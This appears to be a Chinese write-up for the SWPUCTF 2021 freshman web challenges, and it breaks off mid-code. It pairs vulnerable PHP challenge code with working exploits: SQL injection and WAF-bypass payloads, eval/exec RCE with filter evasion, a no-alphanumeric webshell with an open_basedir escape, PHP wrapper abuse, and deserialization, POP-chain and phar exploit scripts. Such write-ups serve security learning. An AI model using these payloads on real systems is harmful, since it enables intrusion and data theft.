• [SWPUCTF 2021 新生赛] web


    目录

    gift_F12

    caidao 

     jicao

     easy_md5 

    easy_sql  

    easyrce

    babyrce

    ez_unserialize

    include

     no_wakeup 

    Do_you_know_http

    easyupload1.0 

     easyupload2.0 

    easyupload3.0

      error 

    hardrce 无数字字母rce

    hardrce_3 无数字字母rce

    finalrce 无回显rce  

    PseudoProtocols 伪协议 

    pop 

    sql 

    Baby_Web   变量覆盖

    babyunser  phar反序列化

    SimplePHP  phar反序列化

    文件查看器 phar反序列化


    gift_F12

    源码目录找flag

    caidao 

    简单的rce

     

     jicao

    1. highlight_file('index.php');
    2. include("flag.php");
    3. $id=$_POST['id'];
    4. $json=json_decode($_GET['json'],true);
    5. if ($id=="wllmNB"&&$json['x']=="wllm")
    6. {echo $flag;}
    7. ?>

    json字符串例子 

    json['x']=wllm  的json格式是 {"x":"wllm"}

     

     easy_md5 

    1. if ($name != $password && md5($name) == md5($password)){
    2. echo $flag;
    3. }

    数组绕过 

    name[]=1

    password[]=2

    easy_sql  

    1. /?wllm=-1' union select 1,2,3--+
    2. /?wllm=-1' union select 1,2,database()--+
    3. /?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
    4. /?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--+
    5. /?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--+

    easyrce

    1. if(isset($_GET['url']))
    2. {
    3. eval($_GET['url']);
    /?url=system('cat /fl*');

    babyrce

     

     

    1. if (isset($_GET['url'])) {
    2. $ip=$_GET['url'];
    3. if(preg_match("/ /", $ip)){
    4. die('nonono');
    5. }
    6. $a = shell_exec($ip);
    7. echo $a;

    就是过滤空格,rce时候不能ls / 

    ${IFS} 代替空格

    /rasalghul.php?url=cat${IFS}/fl*

     

    ez_unserialize

    1. class wllm{
    2. public $admin;
    3. public $passwd;
    4. public function __construct(){
    5. $this->admin ="user";
    6. $this->passwd = "123456";
    7. }
    8. public function __destruct(){
    9. if($this->admin === "admin" && $this->passwd === "ctf"){
    10. include("flag.php");
    11. echo $flag;
    12. }else{
    13. echo $this->admin;
    14. echo $this->passwd;
    15. echo "Just a bit more!";
    16. }
    17. }
    18. }
    19. $p = $_GET['p'];
    20. unserialize($p);

    简单构造 

    1. class wllm{
    2. public $admin;
    3. public $passwd;
    4. public function __construct(){
    5. $this->admin ="admin";
    6. $this->passwd = "ctf";
    7. }
    8. }
    9. $p = new wllm();
    10. echo serialize($p);

    include

     

    filter 伪协议

     

     no_wakeup 

    1. class HaHaHa{
    2. public $admin;
    3. public $passwd;
    4. public function __construct(){
    5. $this->admin ="user";
    6. $this->passwd = "123456";
    7. }
    8. public function __wakeup(){
    9. $this->passwd = sha1($this->passwd);
    10. }
    11. public function __destruct(){
    12. if($this->admin === "admin" && $this->passwd === "wllm"){
    13. include("flag.php");
    14. echo $flag;
    15. }else{
    16. echo $this->passwd;
    17. echo "No wake up";
    18. }
    19. }
    20. }
    21. $Letmeseesee = $_GET['p'];
    22. unserialize($Letmeseesee);

    修改属性个数绕__wakeup()

    O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

    改成

    O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

     

    Do_you_know_http

    使用WLLM浏览器 

    bp抓包修改UA 

     

     

     

    easyupload1.0 

    Content-Type 修改 

    直接蚁剑

    真的flag在phpinfo()中 

     easyupload2.0 

    图片马上传进去,改名phtml 

    蚁剑连

    easyupload3.0

    .htaccess 解析图片马

     

     

      error 

    报错注入

    1. ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
    2. ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
    3. ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--+
    4. 这里涉及到flag显示一半的问题
    5. ?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+
    6. ?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+

    hardrce 无数字字母rce

    1. if(isset($_GET['wllm']))
    2. {
    3. $wllm = $_GET['wllm'];
    4. $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    5. foreach ($blacklist as $blackitem)
    6. {
    7. if (preg_match('/' . $blackitem . '/m', $wllm)) {
    8. die("LTLT说不能用这些奇奇怪怪的符号哦!");
    9. }}
    10. if(preg_match('/[a-zA-Z]/is',$wllm))
    11. {
    12. die("Ra's Al Ghul说不能用字母哦!");
    13. }
    14. echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
    15. eval($wllm);
    16. }

    无字母数字rce 

    能过虑的都过虑了,发现~没有过虑,可以进行取反

    RCE篇之无数字字母rce - 学安全的小白 - 博客园 

    php取反rce的脚本:

    1. fwrite(STDOUT,'[+]your function: ');
    2. $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
    3. fwrite(STDOUT,'[+]your command: ');
    4. $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
    5. echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

     

     

    hardrce_3 无数字字母rce

    1. if(isset($_GET['wllm']))
    2. {
    3. $wllm = $_GET['wllm'];
    4. $blacklist = [' ','\^','\~','\|'];
    5. foreach ($blacklist as $blackitem)
    6. {
    7. if (preg_match('/' . $blackitem . '/m', $wllm)) {
    8. die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    9. }}
    10. if(preg_match('/[a-zA-Z0-9]/is',$wllm))
    11. {
    12. die("Ra'sAlGhul说用字母数字是没有灵魂的!");
    13. }
    14. echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
    15. eval($wllm);
    16. }

    这里取反~不能用了 

    用自增  无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客_绕过正则表达式

    1. //测试发现7.0.12以上版本不可使用
    2. //使用时需要url编码下
    3. $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
    4. 固定格式 构造出来的 assert($_POST[_]);
    5. 然后post传入 _=phpinfo();

    发现system,exec,shell_exec,popen,proc_open,passthru被禁用 ,同时设置了open_basedir,无法看到文件

    但是可以用file_put_contents(,)

    _=file_put_contents('1.php',"'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

    访问1.php

    finalrce 无回显rce  

    1. if(isset($_GET['url']))
    2. {
    3. $url=$_GET['url'];
    4. if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    5. {
    6. echo "Sorry,you can't use this.";
    7. }
    8. else
    9. {
    10. echo "Can you see anything?";
    11. exec($url);
    12. }

    没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。

    过滤了ls 可以用l\s 来代替

    然后访问1.txt

    /?url=tac /flllll\aaaaaaggggggg | tee 2.txt

    PseudoProtocols 伪协议 

    filter协议读 

    /index.php?wllm=php://filter/convert.base64-encode/resource=hint.php

     

    1. $a= $_GET["a"];
    2. if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    3. echo "success\n";
    4. echo $flag;

    data 协议写入内容 

    /test2222222222222.php?a=data://text/plain,I want flag

    pop 

    1. class w44m{
    2. private $admin = 'aaa';
    3. protected $passwd = '123456';
    4. public function Getflag(){
    5. if($this->admin === 'w44m' && $this->passwd ==='08067'){
    6. include('flag.php');
    7. echo $flag;
    8. }else{
    9. echo $this->admin;
    10. echo $this->passwd;
    11. echo 'nono';
    12. }
    13. }
    14. }
    15. class w22m{
    16. public $w00m;
    17. public function __destruct(){
    18. echo $this->w00m;
    19. }
    20. }
    21. class w33m{
    22. public $w00m;
    23. public $w22m;
    24. public function __toString(){
    25. $this->w00m->{$this->w22m}();
    26. return 0;
    27. }
    28. }
    29. $w00m = $_GET['w00m'];
    30. unserialize($w00m);

    就三个类,__destruct入口 调用__toString() , echo是针对字符串的

    __toString()去调用Getflag(),也就是 $this->w22m=Getflag

    序列化链

    1. class w44m{
    2. private $admin = 'w44m';
    3. protected $passwd = '08067';
    4. public function Getflag(){
    5. if($this->admin === 'w44m' && $this->passwd ==='08067'){
    6. include('flag.php');
    7. echo $flag;
    8. }else{
    9. echo $this->admin;
    10. echo $this->passwd;
    11. echo 'nono';
    12. }
    13. }
    14. }
    15. class w22m{
    16. public $w00m;
    17. public function __destruct(){
    18. echo $this->w00m;
    19. }
    20. }
    21. class w33m{
    22. public $w00m;
    23. public $w22m;
    24. public function __toString(){
    25. $this->w00m->{$this->w22m}();
    26. return 0;
    27. }
    28. }
    29. $a=new w44m();
    30. $b=new w22m();
    31. $c=new w33m();
    32. $b->w00m=$c;
    33. $c->w00m=$a;
    34. $c->w22m="Getflag";
    35. echo urlencode(serialize($b));

    有私有属性一定要url编码一下

    sql 

    有waf ,fuzz一下

     这些都过滤了,主要是空格 = ban了 

    空格用/**/,=用like  ,然后--+ 和 #不能用,%23 来闭合

    payload:

    1. /?wllm=-1'/**/union/**/select/**/1,2,database()%23
    2. /?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
    3. /?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23

    读flag字段时,值显示出一半的flag,right,left,substr都过滤了,可以考虑用mid 

    /?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag%23

    Baby_Web   变量覆盖

    CVE-2021-41773

    简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有%2e./,则会解码为../,转换后判断是否存在../,加入路径中使用.%2e/则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。

     目录穿越 ,dirsearch能扫到  

     

    1. error_reporting(0);
    2. define("main","main");
    3. include "Class.php";
    4. $temp = new Temp($_POST);
    5. $temp->display($_GET['filename']);
    6. ?>

    还有个Class.php

    1. defined('main') or die("no!!");
    2. Class Temp{
    3. private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    4. private $template;
    5. public function __construct($data){
    6. $this->date = array_merge($this->date,$data);
    7. }
    8. public function getTempName($template,$dir){
    9. if($dir === 'admin'){
    10. $this->template = str_replace('..','','./template/admin/'.$template);
    11. if(!is_file($this->template)){
    12. die("no!!");
    13. }
    14. }
    15. else{
    16. $this->template = './template/index.html';
    17. }
    18. }
    19. public function display($template,$space=''){
    20. extract($this->date);
    21. $this->getTempName($template,$space);
    22. include($this->template);
    23. }
    24. public function listdata($_params){
    25. $system = [
    26. 'db' => '',
    27. 'app' => '',
    28. 'num' => '',
    29. 'sum' => '',
    30. 'form' => '',
    31. 'page' => '',
    32. 'site' => '',
    33. 'flag' => '',
    34. 'not_flag' => '',
    35. 'show_flag' => '',
    36. 'more' => '',
    37. 'catid' => '',
    38. 'field' => '',
    39. 'order' => '',
    40. 'space' => '',
    41. 'table' => '',
    42. 'table_site' => '',
    43. 'total' => '',
    44. 'join' => '',
    45. 'on' => '',
    46. 'action' => '',
    47. 'return' => '',
    48. 'sbpage' => '',
    49. 'module' => '',
    50. 'urlrule' => '',
    51. 'pagesize' => '',
    52. 'pagefile' => '',
    53. ];
    54. $param = $where = [];
    55. $_params = trim($_params);
    56. $params = explode(' ', $_params);
    57. if (in_array($params[0], ['list','function'])) {
    58. $params[0] = 'action='.$params[0];
    59. }
    60. foreach ($params as $t) {
    61. $var = substr($t, 0, strpos($t, '='));
    62. $val = substr($t, strpos($t, '=') + 1);
    63. if (!$var) {
    64. continue;
    65. }
    66. if (isset($system[$var])) {
    67. $system[$var] = $val;
    68. } else {
    69. $param[$var] = $val;
    70. }
    71. }
    72. // action
    73. switch ($system['action']) {
    74. case 'function':
    75. if (!isset($param['name'])) {
    76. return 'hacker!!';
    77. } elseif (!function_exists($param['name'])) {
    78. return 'hacker!!';
    79. }
    80. $force = $param['force'];
    81. if (!$force) {
    82. $p = [];
    83. foreach ($param as $var => $t) {
    84. if (strpos($var, 'param') === 0) {
    85. $n = intval(substr($var, 5));
    86. $p[$n] = $t;
    87. }
    88. }
    89. if ($p) {
    90. $rt = call_user_func_array($param['name'], $p);
    91. } else {
    92. $rt = call_user_func($param['name']);
    93. }
    94. return $rt;
    95. }else{
    96. return null;
    97. }
    98. case 'list':
    99. return json_encode($this->date);
    100. }
    101. return null;
    102. }
    103. }

    [GFCTF 2021]Baby_Web(复现)_M1kael的博客-CSDN博客

    可以看到在index.php中get传参
    它对我们传参的值进行display方法 

    1. public function display($template,$space=''){
    2. extract($this->date);
    3. $this->getTempName($template,$space);
    4. include($this->template);
    5. }

    然后经过extract,再进行getTempName方法

    1. public function getTempName($template,$dir){
    2. if($dir === 'admin'){
    3. $this->template = str_replace('..','','./template/admin/'.$template);
    4. if(!is_file($this->template)){
    5. die("no!!");
    6. }
    7. }

    这里给了个目录/template/admin/
    我们试着直接访问一下

    我们会发现 它会调用listdata方法
    然后我们在listadta方法中发现危险函数 

    1. $rt = call_user_func_array($param['name'], $p);
    2. $rt = call_user_func($param['name']);

    利用 call_user_func()

     我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量

    审代码

    1. $_params = trim($_params);//删除两侧多余的空格
    2. $params = explode(' ', $_params);//以空格分隔成数组
    3. if (in_array($params[0], ['list','function'])) {
    4. $params[0] = 'action='.$params[0];
    5. }
    6. foreach ($params as $t) {//遍历新⽣成的数组
    7. $var = substr($t, 0, strpos($t, '='));//key
    8. $val = substr($t, strpos($t, '=') + 1);//value
    9. if (!$var) {
    10. continue;
    11. }
    12. if (isset($system[$var])) {
    13. $system[$var] = $val;
    14. } else {
    15. $param[$var] = $val;//数组定义
    16. }
    17. }

    数组定义 

    1. switch ($system['action']) {//把key为action的值来比较
    2. case 'function':
    3. if (!isset($param['name'])) {//必须有key为name
    4. return 'hacker!!';
    5. } elseif (!function_exists($param['name']))//还必须被定义
    6. {
    7. return 'hacker!!';
    8. }
    9. $force = $param['force'];
    10. if (!$force) {
    11. $p = [];//我们只需要这一步定义
    12. foreach ($param as $var => $t) {
    13. if (strpos($var, 'param') === 0) {
    14. $n = intval(substr($var, 5));
    15. $p[$n] = $t;
    16. }
    17. }
    18. if ($p) {
    19. $rt = call_user_func_array($param['name'], $p);
    20. } else {
    21. $rt = call_user_func($param['name']);//利用的key为name的value值
    22. }

    payload:

    1. URL?filename=index.html
    2. (POST)space=admin&mod=123 action=function name=phpinfo

    babyunser  phar反序列化

    尝试上传,自动解析成txt文件 

     文件查看可以查到源码 

    read.php

    1. error_reporting(0);
    2. $filename=$_POST['file'];
    3. if(!isset($filename)){
    4. die();
    5. }
    6. $file=new zz($filename);
    7. $contents=$file->getFile();
    8. ?>

    upload.php

    1. if(isset($_POST['submit'])){
    2. $upload_path="upload/".md5(time()).".txt";
    3. $temp_file = $_FILES['upload_file']['tmp_name'];
    4. if (move_uploaded_file($temp_file, $upload_path)) {
    5. echo "文件路径:".$upload_path;
    6. } else {
    7. $msg = '上传失败';
    8. }
    9. }

    class.php

    1. class aa{
    2. public $name;
    3. public function __construct(){
    4. $this->name='aa';
    5. }
    6. public function __destruct(){
    7. $this->name=strtolower($this->name);
    8. }
    9. }
    10. class ff{
    11. private $content;
    12. public $func;
    13. public function __construct(){
    14. $this->content="\";
    15. }
    16. public function __get($key){
    17. $this->$key->{$this->func}($_POST['cmd']);
    18. }
    19. }
    20. class zz{
    21. public $filename;
    22. public $content='surprise';
    23. public function __construct($filename){
    24. $this->filename=$filename;
    25. }
    26. public function filter(){
    27. if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
    28. die('这不合理');
    29. }
    30. }
    31. public function write($var){
    32. $filename=$this->filename;
    33. $lt=$this->filename->$var;
    34. //此功能废弃,不想写了
    35. }
    36. public function getFile(){
    37. $this->filter();
    38. $contents=file_get_contents($this->filename);
    39. if(!empty($contents)){
    40. return $contents;
    41. }else{
    42. die("404 not found");
    43. }
    44. }
    45. public function __toString(){
    46. $this->{$_POST['method']}($_POST['var']);
    47. return $this->content;
    48. }
    49. }
    50. class xx{
    51. public $name;
    52. public $arg;
    53. public function __construct(){
    54. $this->name='eval';
    55. $this->arg='phpinfo();';
    56. }
    57. public function __call($name,$arg){
    58. $name($arg[0]);
    59. }
    60. }

    顺着魔术方法构造 

    poc

    1. class aa{
    2. public $name;
    3. function __construct(){
    4. $this->name = new zz();
    5. }
    6. }
    7. class ff{
    8. private $content;
    9. public $func = "assert";
    10. function __construct(){
    11. $this->content = new xx();
    12. }
    13. }
    14. class zz{
    15. public $filename;
    16. public $content='surprise';
    17. function __construct(){
    18. $this->filename = new ff();
    19. }
    20. }
    21. class xx{
    22. public $name;
    23. public $arg;
    24. }
    25. $a = new aa();
    26. echo urlencode(serialize($a));
    27. # 下面这部分就没改
    28. $phar = new Phar("phar.phar");
    29. $phar->startBuffering();
    30. $phar->setStub(""); //设置stub
    31. $phar->setMetadata($a); //将自定义的meta-data存入manifest
    32. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    33. //签名自动计算
    34. $phar->stopBuffering();

     生成phar文件 上传进去 

    然后在read.php 这里post

     

    SimplePHP  phar反序列化

    查看文件这里可以看到源码 

    file.php ,提供了get传参

    1. header("content-type:text/html;charset=utf-8");
    2. include 'function.php';
    3. include 'class.php';
    4. ini_set('open_basedir','/var/www/html/');
    5. $file = $_GET["file"] ? $_GET['file'] : "";
    6. if(empty($file)) {
    7. echo "

      There is no file to show!

      ";

    8. }
    9. $show = new Show();
    10. if(file_exists($file)) {
    11. $show->source = $file;
    12. $show->_show();
    13. } else if (!empty($file)){
    14. die('file doesn\'t exists.');
    15. }
    16. ?>

     主要看

    class.php

    1. class C1e4r
    2. {
    3. public $test;
    4. public $str;
    5. public function __construct($name)
    6. {
    7. $this->str = $name;
    8. }
    9. public function __destruct()
    10. {
    11. $this->test = $this->str;
    12. echo $this->test;
    13. }
    14. }
    15. class Show
    16. {
    17. public $source;
    18. public $str;
    19. public function __construct($file)
    20. {
    21. $this->source = $file; //$this->source = phar://phar.jpg
    22. echo $this->source;
    23. }
    24. public function __toString()
    25. {
    26. $content = $this->str['str']->source;
    27. return $content;
    28. }
    29. public function __set($key,$value)
    30. {
    31. $this->$key = $value;
    32. }
    33. public function _show()
    34. {
    35. if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
    36. die('hacker!');
    37. } else {
    38. highlight_file($this->source);
    39. }
    40. }
    41. public function __wakeup()
    42. {
    43. if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    44. echo "hacker~";
    45. $this->source = "index.php";
    46. }
    47. }
    48. }
    49. class Test
    50. {
    51. public $file;
    52. public $params;
    53. public function __construct()
    54. {
    55. $this->params = array();
    56. }
    57. public function __get($key)
    58. {
    59. return $this->get($key);
    60. }
    61. public function get($key)
    62. {
    63. if(isset($this->params[$key])) {
    64. $value = $this->params[$key];
    65. } else {
    66. $value = "index.php";
    67. }
    68. return $this->file_get($value);
    69. }
    70. public function file_get($value)
    71. {
    72. $text = base64_encode(file_get_contents($value));
    73. return $text;
    74. }
    75. }
    76. ?>

    Test类:
    创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$valuefile_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。

    分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法

    1. public function __toString()
    2. {
    3. $content = $this->str['str']->source;
    4. return $content;
    5. }

    问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get方法,那么现在的问题变成了__tostring的触发,看C1e4r类中的__destruct ,echo出test正好可以触发__tostring


    整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()

    1. class C1e4r
    2. {
    3. public $test;
    4. public $str;
    5. }
    6. class Show
    7. {
    8. public $source;
    9. public $str;
    10. }
    11. class Test
    12. {
    13. //Test类中没有source属性,可以根据这个调用__get()函数
    14. public $file;
    15. public $params;//数组类型的数值
    16. }
    17. $a = new C1e4r();
    18. $b = new Show();
    19. $c = new Test();
    20. $a->str = $b;
    21. $b->str['str'] = $c;
    22. $c->params['source'] = "/var/www/html/f1ag.php";
    23. @unlink('test.phar');
    24. $phar=new Phar('test.phar');
    25. $phar->startBuffering();
    26. $phar->setStub('');
    27. $phar->setMetadata($a);//链子以$a为起点
    28. $phar->addFromString("test.txt","test");
    29. $phar->stopBuffering();
    30. ?>

    根据上传功能的源码phar文件要改名,然后访问upload目录

     以phar协议读取

    文件查看器 phar反序列化

    这题有点难啊

    WP篇之解析GFCTF---文件查看器 | Arsene.Tang

    admin , admin 登录进去 

    www.zip源码泄露

    Files.class.php

    1. class Files{
    2. public $filename;
    3. public function __construct(){
    4. $this->log();
    5. }
    6. public function read(){
    7. include("view/file.html");
    8. if(isset($_POST['file'])){
    9. $this->filename=$_POST['file'];
    10. }else{
    11. die("请输入文件名");
    12. }
    13. $contents=$this->getFile();
    14. echo '